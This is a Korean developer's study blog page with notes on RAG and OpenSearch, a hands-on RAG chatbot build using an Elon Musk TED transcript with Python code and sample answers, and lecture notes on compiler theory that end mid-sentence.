bong-u/til

bong-u/til

🏠 home 🐈 repository 📡 rss

RAG 이론 정리 + OpenSearch

🤖 인공지능

RAG (Retrieval-Augmented Generation) RAG는 검색과 생성을 결합한 모델로, 검색을 통해 얻은 정보를 바탕으로 생성을 수행하는 모델 LLM의 문제점 할루시네이션: 생성 모델이 훈련 데이터에 없는 내용을 생성하는 현상 최신의 응답을 기대하는 상황에서 오래되었거나 일반적인 정보를 생성하는 문제 신뢰할 수 없는 출처로부터 정보를 생성하는 문제 RAG는 위에서 서술한 LLM 문제의 일부를 해결하기 위해 사용할 수 있는 수단이다. OpenSearch OpenSearch는 오픈소스 검색 및 분석 엔진으로, 엘라스틱서치의 포크 버전 벡터 데이터베이스 : 벡터 데이터를 저장하고 쿼리할 수 있는 데이터베이스 주요 기능 분산 검색 및 분석 보안 시각화와 대시보드 지원 index와 document index : 데이터베이스 document : 데이터베이스에 저장되는 데이터 분석 분석기 Analyzer (Character Filter + Tokenizer + Token Filter) 텍스트를 토큰화하고 필터링하는 과정을 수행 분석 과정 Character Filter 특정 문자를 제거하거나 변경하는 등의 작업을 수행 Tokenizer 기본적으로 공백을 기준으로 텍스트를 분리 Token Filter 토큰을 추가하거나 제거하는 등의 작업을 수행 OpenSearch에서 지원하는 요소 Tokenizer Standard Tokenizer : 공백을 기준으로 텍스트를 분리, 문장 부호 삭제 Letter Tokenizer : 문자를 기준으로 텍스트를 분리 Whitespace Tokenizer : 공백을 기준으로 텍스트를 분리 Ngram Tokenizer : 부분 문자열로 텍스트를 분리 Token Filter Standard Token Filter : 아무것도 하지 않음 Lowercase Token Filter : 텍스트를 소문자로 변환 Synonym Token Filter : 동의어 처리 Analyzer Standard Analyzer : Standard Tokenizer + Standard Token Filter Simple Analyzer : Letter Tokenizer + Lowercase Token Filter Whitespace Analyzer : Whitespace Tokenizer + Lowercase Token Filter OpenSearch 접근을 위한 cURL 명령어 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/_cat/indices" 특정 인덱스 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}" 전체 검색 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" 특정 검색어로 검색한 결과 조회 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" \ 3-H "Content-Type: application/json" \ 4-d '{"query": {"match": {"field": "value"}}}' 인덱스 삭제 1curl -X DELETE -u {username}:{password} \ 2"http://localhost:9200/{index_name}"

OpenSearch를 활용한 RAG 실습

🤖 인공지능

배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 우리 팀의 주제는 특정 인물에게 상담을 받는 것 같은 대화를 할 수 있는 챗봇을 만드는 것이다. 이를 위해 특정 인물이 했던 말을 모아 데이터셋으로 만들고 이를 RAG 모델에 적용시키려고 한다. 순서 일론 머스크가 TED에서 한 인터뷰를 텍스트로 가져온다. OpenSearch 도커 컨테이너를 실행한다. 텍스트 데이터를 임베딩해서 OpenSearch에 저장한다. RAG 모델이 OpenSearch를 쿼리하여 대답을 생성한다. 1. 일론 머스크 인터뷰 텍스트 가져오기 유튜브에서 “스크립트 보기"를 통해 인터뷰 자막을 가져온다. 122:03 2EM: 이 큰 트럭을 몰면서 말도 안되는 움직임을 보였죠. 3CA: 아주 멋지네요. 자, 그럼 정말 굉장한 사진에서 422:09 5조금은 덜 굉장한 사진을 보죠. "위기의 주부들"인가에서 나오는 귀여운 집 사진인데요. 622:15 7이게 갑자기 왜 나온거죠? 8... 일론 머스크가 한 말만 손수 정리한다. 1네. 제 스스로도 그 질문을 자주 하는 편입니다. 2저희는 LA의 지하에 구멍을 내려고 하는데요. 이는 교통 체증을 완화시키기 위한 33차원 네트워크의 터널이 될 수도 있는 시발점을 만들기 위함입니다. 4교통 체증은 오늘날 우리의 영혼을 탈탈 터는 문제 중의 하나입니다. 5세계 모든 사람들에게 영향을 끼치고 있죠. 인생에서 너무도 많은 부분을 가져갑니다. 6... 2. OpenSearch 도커 컨테이너 실행 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch 설명 -p 9200:9200 : OpenSearch HTTP 포트 -p 9600:9600 : OpenSearch 모니터링 포트 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : 초기 비밀번호 설정 -e “discovery.type=single-node” : 단일 노드로 실행 -v opensearch_vol:/usr/share/opensearch/data : 데이터 볼륨 마운트 SSL 오류 발생과 해결 하지만 위 명령어로 실행하면 컨테이너 내부에서 오류가 발생한다 12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more 프로젝트 기간이 길지 않고, 해당 포트는 외부에 노출할 필요가 없으므로 SSL을 끄고 실행하는 것으로 해결하였다. 1/usr/share/opensearch/config/opensearch.yml 2# 변경 전 3plugins.security.ssl.http.enabled: true 4# 변경 후 5plugins.security.ssl.http.enabled: false 3. 텍스트 데이터 임베딩 및 OpenSearch에 저장 RAG 세션을 해주신 멘토님이 짜준 코드를 적극! 참고하여 작성하였다. OpenSearch 인덱스 생성 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch 연결 설정 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## 텍스트 데이터 불러오기 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding 모델 정의 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index 구조 정의 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding 모델 생성 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch에 데이터 삽입 91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer는 한국어를 지원하는 “nori_tokenizer"를 사용하였다. embedding 모델은 저거 말고도 여러가지가 존재하는데, 어떤 모델이 프로젝트에 가장 부합하는 모델인지는 실험을 해볼 것이다. curl을 통해 localhost:9200/elon_musk/_search로 요청을 보내 임베딩한 데이터가 잘 들어갔는지 확인할 수 있다. 4. RAG 모델이 OpenSearch를 쿼리하여 대답 생성 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# 환경변수 설정 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch에 저장된 데이터를 쿼리하여 RAG 모델에 넣어 대답을 생성한다. search_documents 함수를 통해 OpenSearch에 쿼리를 보내고, 그 결과를 context로 사용한다. 결과 질문 테슬라에 대해서 어떻게 생각해? RAG를 사용하지 않았을 때의 대답 테슬라는 혁신적인 기업으로서 미래를 향한 비전을 가지고 있습니다. 그들의 전기 자동차 기술과 에너지 솔루션은 전 세계적으로 주목받고 있습니다. 테슬라의 혁신적인 접근 방식과 지속 가능한 비즈니스 모델에 대해 매우 긍정적으로 생각하고 있습니다. RAG를 사용할때 적용된 context [‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’, ‘길게 갈 것 같지는 않아요.\n그러네요. 저는 최대한 오랫동안 테슬라에 머물 생각이에요.\n그리고 준비 중에 있는 흥미로운 일도 많고요. 아시다시피, 모델 3이 출시 예정이고요.’, ‘올해 말까지 LA에서 뉴욕까지\n완전 자율 주행으로 횡단하는 계획에 맞춰서 진행 중이에요.\n사람이 테슬라에 타서 운전대를 잡지 않고 “뉴욕"을 찍으면 그리로 간다는 말이네요.’] RAG를 사용할 때의 대답 저는 테슬라를 매우 긍정적으로 생각합니다. 테슬라는 혁신적인 기술과 지속 가능한 미래를 위한 비전을 갖춘 기업으로서, 자율 주행 기술을 통해 우리의 삶을 혁신하고 있습니다. 또한, 전기차 시장을 선도하고 환경에 친화적인 차량을 제공하는 멋진 기업이라고 생각합니다. 테슬라의 미래가 밝고 흥미로운 일들이 계속해서 일어날 것이라고 믿습니다. 고찰 확실히 RAG를 사용하지 않았을 때는 객관적이고 일반적인 대답을 하는 반면, RAG를 사용할 때는 테슬라에 대해 긍정적인 일론 머스크의 대답과, 자율주행 기술을 언급했다는 것을 반영하여 대답을 생성하였다.

컴파일러개론

🏫 학과 공부

개요 컴퓨터와 인간이 소통하는 방법 어셈블리어 어셈블리어의 번역기는 어셈블러(Assembler)라고 한다 cpu칩셋이 바뀔때마다 어셈블리어가 바뀐다 고급언어 고급언어의 번역기는 컴파일러(Compiler)라고 한다 컴파일러의 정확한 정의 어떤 언어로 쓰여진 프로그램을 같은 역할의 다른 언어로 바꿔주는 프로그램 1952년 그레이스 호퍼(Grace Hopper)가 UNIVAC용 프로그래밍언어 A-0 컴파일러를 제작 컴파일러 vs 인터프리터 프로그램 처리과정 컴파일러의 처리 과정 Lexical analysis (어휘 분석) token을 생성하는일, token은 어휘의 최소 단위 Syntax analysis (구문 분석) token을 읽어서 오류를 검색, 구문 구조를 만든다 (주로 트리형태) Semantic analysis (의미 분석) type checking Intermediate code generation (중간 코드 생성) 중간 코드로 변환 Code optimization (코드 최적화) 중간 코드를 더 효율적으로 변환 Code generation (코드 생성) 목적 코드 생성 Lexical analysis (어휘 분석) token : 문법적으로 의미있는 최소 단위 FSA (Finite State Automata, 유한 상태 오토마타) token을 인식하는 방법 시작 상태 한 개와 끝 상태 여러 개를 가짐 DFA (Deterministic Finite Automata) FSA의 한 종류 각 상태에서 뻗어나가는 edge가 하나씩만 존재 ε가 붙은 edge 없음 분석한 토큰을 표현하는 방법 Lexeme = <토큰번호, 토큰 값> 예시 if X < Y … (29, 0) (1, X) (18, 0) (1, Y) … 식별자의 토큰번호는 1번, 상수는 2번 등으로 고정 Syntax analysis (구문 분석) token을 읽어서 오류를 검색, parse tree를 만든다 CFG (Context Free Grammer) 구문을 표현하는 방법 G = (N, T, P, S) N = nonterminal symbol 알파벳 대문자로 표현 T = terminal symbol (token) 알파벳 소문자+숫자, 연산자, 구분자, 키워드 등 P = production rule 예) S -> T+T, T -> ‘0’|‘1’|‘2’ S = start symbol L(G) : 이 문법으로 생성되는 언어 여러가지 CFG 표현법 BNF (Backus-Naur Form) EBNF (Extended BNF) 유도 (derivation) 생성 규칙를 적용하여 문장을 생성하는 과정 유도를 하는 과정에서 하나씩 골라서 바꿈 유도 트리 : 유도 경로를 추상화 시켜 표현한 것 좌측 유도(leftmost derivation) 가장 왼쪽에 있는 nonterminal을 먼저 대치 우측 유도(rightmost derivation) 가장 오른쪽에 있는 nonterminal을 먼저 대치 모호성 (ambiguity) 문법 G에 의해 생성되는 어떤 문장이 두개 이상의 유도트리를 갖는다면 문법 G는 모호하다고 한다 모호하지 않은 문법은 좌측 유도와 우측 유도가 같다 모호성 해결 연산자 우선순위 도입 결합 법칙 도입 Left Recursion은 좌측 결합에 사용 ex) A -> A+a | a Right Recursion은 우측 결합에 사용 ex) A -> a+A | a 구문 분석의 2가지 방식 top-down, bottom-up Top-down parsing Top-down 방식 좌측 유도와 같은 순선의 생성 규칙 적용 backtracking : 유도된 문자열과 입력 문자열이 같지 않으면 다른 생성규칙 적용 Bottom-up 방식 우측 유도의 역순의 생성 규칙 적용 LL 파싱 왼쪽->오른쪽으로 읽어서 좌파스 생성 backtracking X, 빠르다 결정적으로 파싱 사용된 정의 ε-생성규칙 Nonterminal A가 ε를 유도할 수 있으면 A를 nullable하다고 부른다 lhs, rhs A->XXX에서 lhs는 A, rhs는 XXX ⊕ (Ring Sum) A에 ε가 있으면, A⊕B = (A에서 ε빼고 A 합집합 B) A에 ε가 없으면, A⊕B = A First nonterminal A로 부터 유도되어 첫번째로 나타날 수 있는 terminal의 집합 X->Y1Y2Y3일때, FIRST(X) = FIRST(X) U FIRST(Y1) ⊕ FIRST(Y2) ⊕ FIRST(Y3) Follow A 다음에 나오는 terminal의 집합 A->αBβ, β != ε 일때, FOLLOW(B) = FOLLOW(B) U (FIRST(β)-{ε}) A->αB 또는 A->αBβ, FIRST(β)에 ε가 속할 때, FOLLOW(B) = FOLLOW(B) U FOLLOW(A) LL조건 FIRST(α)와 FIRST(β)가 겹치면 안된다 FIRST(α)에 ε가 있으면, FOLLOW(α)와 FIRST(β)가 겹치면 안된다 LL 조건을 만족하는 문법 = LL 파싱 되는 문법 LL(1) 문법 임의의 문법에 대하여 LL 조건을 만족하는 CFG 1 : LOOKAHEAD가 1개라는 의미 다음과 같은 경우 LL(1)문법이 되지 않는다 모호한 문법 우선순위 주기, 결합법칙 반영으로 해결 left-factoring이 되는 경우 공통 앞부분을 새로운 nonterminal로 만들어 해결 left-recursive한 경우 직접 recursion : A -> Aε 인경우 간접 recursion : A -> B, B -> A 인경우 LOOKAHEAD 어떤 규칙이 적용되었을때 맨 처음 나올 수 있는 terminal 집합 A->X1X2X3일때, LOOKAHEAD(A) = FIRST(X1) ⊕ FIRST(X2) … ⊕ FOLLOW(A) Strong LL(1) LL(1)과 항상 동일 (1이 아닐때는 다름) LOOKAHEAD(A->α)와 LOOKAHEAD(A->β)가 겹치지 않는 문법 LL(1) 파서 구현 방법 Recursive descent parser 장점 : 직관적 쉽다 단점 : 생성 규칙이 바뀌면 구문 분석기를 고쳐야 한다 Predictive parser PDA(PushDown Automata)에 기반 생성 규칙이 바뀌면 파싱 테이블만 수정 파싱테이블 예시 (?에는 규칙번호가 들어간다) a b S ? ? A ? ? 파싱테이블에 두개 이상의 생성 규칙이 들어가는 경우 -> NOT LL(1) Stack의 예시 Bottom-up parsing left-recursive 문법도 파싱 가능 LL(k) 좌측유도 기반 k개의 symbol을 lookahead Top-down parsing, recursive descent parsing, predictive parsing, LL parser 파스트리를 pre-roder로 순회 및 생성 LR(k) 우측유도 기반 k개의 symbol을 lookahead Bottom-up parsing, shift-reduce parsing, LR parser 파스트리를 post-order로 순회 및 생성 Reduce S=>αβω이고 A->β이면 β를 A로 대치하는 것 : S=>αAω 시작 symbol이 나올 때까지 reduce 한다 Handle S=>αβω이고 A->β이면 β를 αβω의 handle이라고 한다 두 개 이상의 handle이 존재할때 -> 모호하다 Shift와 Reduce로 Parsing 하기 Stack의 예시 Issue Shift와 Reduce 중 어느 것을 할까? Stack의 top에서 얼마만큼을 handle로 볼 것인가? 해결방법: LR Parsing Table YACC LALR 파서 생성기 foo.y –(yacc)–> y.tab.c –(gcc)–> a.out *.y 파일 구조 1<선언부> 2... 3%% 4... 5exp : exp '+' term; 6factor : ident; 7... 8%% 9<여러 함수> 모호한 문법으로 LR Conflict 발생 시 선언부에서 우선순위 지정하여 해결 LR Parsing Table Action table : Action + Parser 상태 Goto table : Parser 상태 LR(0) 파싱 테이블 만들기 LR(0) 아이템 rhs에 점(’.’) symbol을 가진 생성 규칙 ex) A->α.β, A->. closure 점(’.’)뒤에 non-terminal이 오면 재귀적으로 추가 S’ -> S, S -> (L)|id, L -> S | L,S closure({[S’->.S]}) = {[S’->.S], [S->.(L)], [S->.id]} goto goto(I, X)이면 점을 X뒤로 옮기고 closure를 취한다 X가 없으면 넣지 않는다 I={[G->E=E], [E->E.+T]} 일때, goto(I, +) = closure({E->E+.T}) : 점을 +뒤로 옮김 C0 생성규칙 S’->S에서부터 차례로 closure와 goto를 적용하여 얻은 모든 타당한 LR(0)의 아이템 집합들 Item의 종류 [A->X.Y] : X!=ε일때 kernel item [A->.X] : closure item [A->X.] : reduce item SLR 파싱 테이블 만들기 reduce Item이 [X->α.]일때, FOLLOW(X)의 모든 terminal에만 reduce action을 넣는다 나머지는 LR(0)과 똑같다 LR(0)보다 conflict가 적어, 더 정교하다고 할 수 있다. LALR Parsing 정교한 순서 LR(0) < SLR < LALR(1) < LR(1) 파서 상태의 개수 SLR = LALR « LR(1) SDD, AST SDD (Syntax Directed Definition) SDD : semnatic action을 정의하는 추상적인 명세서 Semnatic Actions : 규칙에 대한 Action Yacc/Bison : $$, $1, $2, ... 사용 ANTLR : $<name> 사용 Type declaration Attribute 종류 synthesized attr. : children에 의해 계산 (terminal) inherited attr. : parent, sibling에 의해 계산 AST (Abstract Syntax Tree) 파스트리에서 불필요한 정보를 제거한 형태 AST를 만드는 방법 파싱단계에서 만들기 : LL, LR 파스트리를 순회하면서 만들기 : SDD 사용 (Yacc etc.) evaluation : 노드를 방문하면서 작업하는 행위 On-the-fly evaluation S-attributed SDD: synthesized attribute만 가지고 있는 SDD L-attributed SDD: synthesized attribute만 가지는 경우 + 값이 왼쪽에서 오른쪽으로 흘러 계산이 이루어지는 경우 IR (Intermediate Representation) IR이란? Tree나 Instruction list 형태 instruction(node)가 적어야 최적화/번역에 좋음 High Level IR High와 Low는 상대적인 개념 High level IR: 여기서는 AST의 변형만 생각 종류 : AST, TCOL Low Level IR 단순한 instruction으로 구성 가상기계(주로 RISC)를 emulate N-tuple 표기법 (3-address code) a = b OP c 일반적으로 기계어가 가지는 피연산자 개수 <= 3 quadruple : (연산자, 피연산자1, 피연산자2, 결과) Stack machine code Java byte code, U-code : AST로부터 생성이 용이 Tree 표현 기계어 생성 용이 IR 예시 GCC - GIMPLE (3-address code) GCC의 중간코드 : GENERIC -> GIMPLE -> RTL 1D.1954 = x*10 // D.1954는 임시변수 2gimple_assign <mult_exprt, D.1954, x, 10> LLVM - bit (3-address code) LLVM IR : 언어와 머신에 독립적 1@var = global i32 14 ; 전역변수 var에 14 대입 2define i32 @main() nounwind { ; i32(int) 반환형 3 entry: 4 %a = alloca i32, align 4 ; 지역변수 a 선언, int 할당 5 %1 = load i32 * @var ; %1 임시변수에 var값 대입 6 ret i32 %1 ; 임시변수 값 반환 7} JVM - byte code (stack machine code) 가상 기계 코드 (Bytecode, MSIL) 가상 기계에서 동작하도록 함 이식성, 호환성이 목적 : java bytecode는 machine 호환성, c# msil은 language 호환성 1public Employee(String strName, int num) 2{name = strName; idNumber = num; storeData(strName, num);} 3Method Employee(java.lang.String, int) 4 50 aload_0 ; 0번째 로컬변수(this)를 스택에 push 61 invokespecial #3 <Method java.lang.Object()> ; 함수 호출 7--- 84 aload_0 95 aload_1 ; strName을 스택에 push 106 putfield #5 <Field java.lang.String name> ; name에 strName 대입 11--- 129 aload_0 1310 iload_2 ; num을 스택에 push 1411 putfield #7 <Field int idNumber> ; idNumber에 num 대입 15--- 1614 aload_0 1715 aload_1 ; strName을 스택에 push 1816 iload_2 ; num을 스택에 push 1917 invokespecial #9 <Method void storeData(java.lang.String, int)> ; 함수 호출 2020 return line number : 명령이 시작하는 바이트 주소 aload : 객체를 push, iload : 정수를 push 원래는 aload가 명령, 자주 쓰는 명령 aload 0을 묶어서 bind -> aload_0 CIL (Common Intermediate Language) (stack machine code) C#, VB.NET, J# 등에서 사용 MSIL은 옛날 이름 1.assembly Hello {} ; .assembly: 어셈블리 선언 2.assembly extern mscorlib {} 3.method static void Main() { 4 .entrypoint 5 .maxstack 1 6 ldstr "Hello, world!" ; stack에 저장 7 call void [mscorlib]System.Console::WriteLine(string) 8 ret 9} GCC RTL(Register Transfer Language) (Tree구조 코드) Lisp S-expression 사용 1(set (reg:SI 140) 2 (plus:SI (reg:SI 138) 3 (reg:SI 139))) => reg140 = reg138+reg139 IR generation 3-address Translation 규칙 Binary operations: t = [[el OP e2]] Unary operations: t = [[OP el]] Array access: t = [[ v[e] ]] Structure access: t = [[ v.f ]] Short-circuit OR: t = [[ el SC-OR e2]] Statement sequence: [[s1; s2; ...; sN]] Variable assignment: [[ v = e ]] Array assignment: [[ v[e1] = e2 ]] If: [[ if(e) then s ]], [[ if(e) then s1 else s2]] While: [[ while (e) s ]] Switch: [[ switch (e) case v1:s1, ..., case vN:sN ]] Function Call: [[ call f(e1, e2, ..., eN) ]] Fucntion Return: [[ return e ]] Statement Expression Statement도 expression 처럼 값을 가지도록 확장 t = [[ S ]]를 추가하여 결과값을 저장하자 Nested Expressions t = [[ (a - b) * (c + d) ]] t = [[ if c then if d then a = b ]] 가장 큰 덩어리부터 바꾼다 Storage Management 2가지 Storage Register : 빠른 접근, 간접 접근 불가 Memory : 상대적으로 느린 접근, 간접 접근 가능 2가지 접근 방식 All memory approach 모든 변수를 memory에 저장, 가능한것만 register Standard approach Global, Statics, Local(composite)는 memory에 저장 Local(scalar)는 memory 또는 virtual register에 저장 Memory의 4대 영역 Code space : 명령어를 저장 read-only일때 빠름 Static data : 프로그램과 lifetime을 함께하는 데이터 Stack : Local 변수들 Heap : 동적으로 할당되는 데이터 File Format Windows : PE (Portable Executable) Unix : ELF (Executable and Linkable Format) 변수 바인딩 environment : <변수, storage location> 정보 state: <변수, 값> 정보 어떤 변수 N이 storage location S에 지정되면 바인딩 된다고 한다 Static Allocation 프로그램 수행하는 동안 변하지 않는 location으로 바인딩 Heap Allocation 연속적인 global 영역의 일부를 OS로부터 받은 것 프로그램 수행 중 요청과 반환 Stack Management Run-time stack : 한 함수 call마다 하나씩두는 frames Activation record : 함수 수행을 위한 execution env(local var, parameter, return address, etc.) Top frame : 현재 수행중인 함수의 frame Stack pointers SP : Frame top FP : Frame base 두 개를 쓰는 이유 가까운 거 기준으로 offset 계산 -> small offset 유지 수행 중 top frame의 위치를 알 수 없음 Semantic Analysis - Symbol Tables Scope Identifier: 식별자 Lexical Scope: 특정 범위 식별자의 Scope: 그 식별자의 선언이 참조되는 lexical scope Symbol Table Name Kind Type Attribute foo func int, int -> int extern m arg int tmp var char const 하나의 lexical마다 하나의 symbol table symbol table은 계층적이다 현재 scope에 없으면 상위 scope로 올라가면서 찾는다 Symbol Table Implementation AST가 만들어져야 가능 Local Table은 hash table 사용 Global Table은 N-array tree 구조 사용 코드를 순차대로 읽으면서 만듬 (scope 스택을 사용) Type Checking Type Expressions Array types: T[], T[10] Structure types : {id1: T1, id2: T2 …} Pointer types: T* Function types: T1 X T2 X … X Tn -> T_return Type Judgement A ├ E : T A 상황에서 E는 T타입을 만족한다 A ├ if(E) S1 else S2 : T 위 조건은 모든 E, S1, S2, A, T에 대한 가정이 성립할 때 결론 T가 성립한다 Proof Tree (타입 유도 트리) 역삼각형 모양 만족하는 proof tree가 있다 -> 타입 오류가 없다 그 외 Semantic Analyses break, continue, goto 문이 올바른 위치에 있는 지 등 컴파일러 후반부 (빠르고, 실제 돌아가는 코드로 바꾸기) Instruction Selection Tree 기반 Intermediate Representation MEM(e) : 주소 e로 시작하는 메모리 한 word의 내용 TEMP(t) : 레지스터 t SEQ(s1, s2): 문장 s1 수행 후 s2 수행 ESEQ(s, e): 문장 s 수행 후 (결과 없음) e가 추가 수행 BINOP(o, e1, e2) : 연산자 o, 피연산자 e1, e2, 결과 저장된 주소 반환 const(i): 정수 상수 i Register Allocation 최적화 하기 위해 최대한 자주 사용되는 것을 Register에 저장 Interference 서로 다른 두 definition이 live range 에서 공통 operation을 가지고있는 경우 Interference Graph : 서로 interfere 하면 연결하는 그래프 Graph coloring : 연결된 노드는 다른 색으로 칠하기 Instruction Scheduling instruction의 순서를 바꾸어 stall 개수 등을 줄여서 수행속도를 높이는 것 stall : 다른 명령어 수행을 기다리느라 CPU를 낭비하는 것 목표 Wasting time을 줄인다 동일한 코드가 나와야한다 register spilling을 피해야한다 Static scheduling 단계 Local basic scheduling, Loop scheduling, global scheduling Local basic scheduling List scheduling : greedy, heuristic, local technique 사용 precedence graph를 만든다 각 노드에 priority function을 적용한다 “ready-operation queue"를 에서 ready operation을 하나 선택 후 scheduling, ready operation queue를 업데이트한다. Longest latency-weighted path를 이용해서 우선순위를 정한다 기타 Optimization 방법 addr r1 1 -> inc r1 특수 성질의 레지스터 활용 특수 목적의 명령어 활용 Register 간 mov 제거 중복된 load 제거 Control Flow Optimizations(최적화) 주어진 입력 프로그램을 좀 더 효율적인 코드로 바꾸는 것 여러가지 분류 방법 분석 : Control Flow Analysis vs Data Flow Analysis 최적화 Inner basic block(local) vs Inter basic block(global) Cyclic code opt vs Acyclic code opt Control Flow Analysis Control Flow 프로그램의 가능한 수행순서 (분기) Branch Execution -> dynamic control flow : 실행 해봐야 확인 가능 Compiler -> static control flow : 컴파일러가 분석해서 알 수 있음 Analysis 정적 성질 (static property): 프로그램 수행 없이 도출 되는 성질 CFA(Control Flow Analysis) : 코드의 분기 구조를 CFG 형태로 표현 Basic Block 동일한 execution condition을 적용받는 instruction 묶음 instruction 외에는 branch가 없음 Maximal basic block 구하기 BB의 leader(첫번째 instruction)를 찾는다 다음 leader 이전까지의 instruction을 구한다 Weighted CFG Profiling: 반복해서 수행해보면서 실행횟수를 얻음 얻은 weight를 edge에 표시 Control Flow Optimization Acyclic Code Loop가 없는 코드 분석 및 최적화가 상대적으로 쉬움 종류 Inner basic block opt. = Intra opt. = Local opt. Inter basic block opt. = Global opt. Inner Basic Block Optimization Commn subexpression elimination 공통된 부분이 있으면 한번만 계산 Algebraic simplification 대수법칙을 이용하여 식을 간소화 ex) x=1*y; -> x=y; Strength reduction 연산자의 비용이 적은 것으로 바꾸기 ex) x=x*2; -> x=x+x; ex) y=a/4; -> y=a>>2; Constant folding / propagation folding: 컴파일 시간에 상수식을 직접시간 propagation : 고정된 값을 가지는 변수를 상수로 대체 Inter Basic Block Optimization Global application of inner basic block optimization Global common subexpression elimination basic block 간의 공통 부분식에 대해 한번만 계산 Global constant folding / propagation basic block 간의 상수를 인식하여 한번만 계산 Other transformation Branch to unconditional branch 불필요한 분기 제거 Unconditional branch to branch 분기 후 바로 분기 -> 분기 한번으로 변경 Branch to next basic block (next instr) 분기 후 바로 다음 basic block으로 분기 제거 Basic block merging 두 basic block을 합침 Branch to same target 같은 basic block으로 분기하는 것을 제거 Branch target expansion 분기 대상이 되는 basic block을 합침 Unreachable code elimination Entry에서 도달할 수 없는 